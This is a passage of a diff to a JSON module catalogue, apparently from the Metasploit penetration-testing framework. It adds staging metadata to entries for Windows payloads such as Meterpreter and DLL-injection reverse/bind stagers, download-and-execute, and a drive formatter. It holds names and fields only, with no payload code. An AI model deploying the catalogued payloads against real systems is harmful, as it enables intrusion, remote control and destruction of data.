+ "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/dllinject/reverse_http": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)", @@ -200461,7 +221712,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http" }, "payload_windows/dllinject/reverse_http_proxy_pstore": { "name": "Reflective DLL Injection, Reverse HTTP Stager Proxy", @@ -200497,7 +221752,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/dllinject/reverse_ipv6_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (IPv6)", @@ -200534,7 +221793,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/dllinject/reverse_nonx_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)", @@ -200570,7 +221833,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/dllinject/reverse_ord_tcp": { "name": "Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -200606,7 +221873,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/dllinject/reverse_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager", @@ -200643,7 +221914,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/dllinject/reverse_tcp_allports": { "name": "Reflective DLL Injection, Reverse All-Port TCP Stager", @@ -200680,7 +221955,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/dllinject/reverse_tcp_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (DNS)", @@ -200718,7 +221997,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/dllinject/reverse_tcp_rc4": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -200757,7 +222040,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/dllinject/reverse_tcp_rc4_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -200796,7 +222083,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/dllinject/reverse_tcp_uuid": { "name": "Reflective DLL Injection, Reverse TCP Stager with UUID Support", @@ -200833,7 +222124,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/dllinject/reverse_winhttp": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)", @@ -200870,7 +222165,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/dns_txt_query_exec": { "name": "DNS TXT Record Payload Download and Execution", @@ -200904,7 +222203,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/download_exec": { "name": "Windows Executable Download (http,https,ftp) and Execute", @@ -200938,7 +222239,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/exec": { "name": "Windows Execute Command", @@ -200973,7 +222276,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/format_all_drives": { "name": "Windows Drive Formatter", @@ -201012,7 +222317,9 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/loadlibrary": { "name": "Windows LoadLibrary Path", @@ -201047,7 +222354,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/messagebox": { "name": "Windows MessageBox", @@ -201082,7 +222391,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager", @@ -201121,7 +222432,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/meterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager", @@ -201160,7 +222475,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -201198,7 +222517,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -201236,7 +222559,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager", @@ -201274,7 +222601,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/meterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)", @@ -201312,7 +222643,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)", @@ -201350,7 +222685,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_windows/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -201390,7 +222729,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", @@ -201428,7 +222771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/meterpreter/find_tag": { "name": "Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager", @@ -201465,7 +222812,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_windows/meterpreter/reverse_hop_http": { "name": "Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", @@ -201505,7 +222856,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)", @@ -201543,7 +222898,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http" }, "payload_windows/meterpreter/reverse_http_proxy_pstore": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy", @@ -201581,7 +222940,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)", @@ -201619,7 +222982,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https" }, "payload_windows/meterpreter/reverse_https_proxy": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy", @@ -201659,7 +223026,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https_proxy" }, "payload_windows/meterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)", @@ -201697,7 +223068,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager", @@ -201734,7 +223109,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/meterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)", @@ -201772,7 +223151,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/meterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -201810,7 +223193,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager", @@ -201848,7 +223235,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/meterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager", @@ -201886,7 +223277,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/meterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)", @@ -201925,7 +223320,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -201965,7 +223364,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/meterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -202005,7 +223408,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support", @@ -202043,7 +223450,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", @@ -202082,7 +223493,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)", @@ -202121,7 +223536,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttps" }, "payload_windows/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline", @@ -202158,7 +223577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline", @@ -202194,7 +223615,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline", @@ -202230,7 +223653,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline", @@ -202266,7 +223691,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6)", @@ -202302,7 +223729,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline", @@ -202338,7 +223767,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/metsvc_bind_tcp": { "name": "Windows Meterpreter Service, Bind TCP", @@ -202372,7 +223803,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/metsvc_reverse_tcp": { "name": "Windows Meterpreter Service, Reverse TCP Inline", @@ -202406,7 +223839,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject DLL, Hidden Bind Ipknock TCP Stager", @@ -202444,7 +223879,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/patchupdllinject/bind_hidden_tcp": { "name": "Windows Inject DLL, Hidden Bind TCP Stager", @@ -202482,7 +223921,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/patchupdllinject/bind_ipv6_tcp": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)", @@ -202519,7 +223962,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -202557,7 +224004,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/patchupdllinject/bind_named_pipe": { "name": "Windows Inject DLL, Windows x86 Bind Named Pipe Stager", @@ -202593,7 +224044,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/patchupdllinject/bind_nonx_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (No NX or Win7)", @@ -202629,7 +224084,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/patchupdllinject/bind_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (Windows x86)", @@ -202666,7 +224125,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/patchupdllinject/bind_tcp_rc4": { "name": "Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -202705,7 +224168,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/patchupdllinject/bind_tcp_uuid": { "name": "Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)", @@ -202742,7 +224209,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/patchupdllinject/find_tag": { "name": "Windows Inject DLL, Find Tag Ordinal Stager", @@ -202777,7 +224248,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/patchupdllinject/reverse_ipv6_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (IPv6)", @@ -202814,7 +224289,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/patchupdllinject/reverse_nonx_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (No NX or Win7)", @@ -202850,7 +224329,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/patchupdllinject/reverse_ord_tcp": { "name": "Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -202886,7 +224369,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/patchupdllinject/reverse_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager", @@ -202923,7 +224410,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/patchupdllinject/reverse_tcp_allports": { "name": "Windows Inject DLL, Reverse All-Port TCP Stager", @@ -202960,7 +224451,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/patchupdllinject/reverse_tcp_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (DNS)", @@ -202998,7 +224493,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/patchupdllinject/reverse_tcp_rc4": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203037,7 +224536,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -203076,7 +224579,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/patchupdllinject/reverse_tcp_uuid": { "name": "Windows Inject DLL, Reverse TCP Stager with UUID Support", @@ -203113,7 +224620,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager", @@ -203151,7 +224662,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/patchupmeterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager", @@ -203189,7 +224704,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/patchupmeterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -203226,7 +224745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -203264,7 +224787,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/patchupmeterpreter/bind_named_pipe": { "name": "Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager", @@ -203300,7 +224827,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/patchupmeterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)", @@ -203336,7 +224867,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/patchupmeterpreter/bind_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)", @@ -203373,7 +224908,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_windows/patchupmeterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203412,7 +224951,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/patchupmeterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)", @@ -203449,7 +224992,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/patchupmeterpreter/find_tag": { "name": "Windows Meterpreter (skape/jt Injection), Find Tag Ordinal Stager", @@ -203484,7 +225031,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_windows/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)", @@ -203521,7 +225072,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/patchupmeterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)", @@ -203557,7 +225112,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/patchupmeterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -203593,7 +225152,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/patchupmeterpreter/reverse_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager", @@ -203630,7 +225193,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/patchupmeterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager", @@ -203667,7 +225234,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/patchupmeterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)", @@ -203705,7 +225276,11 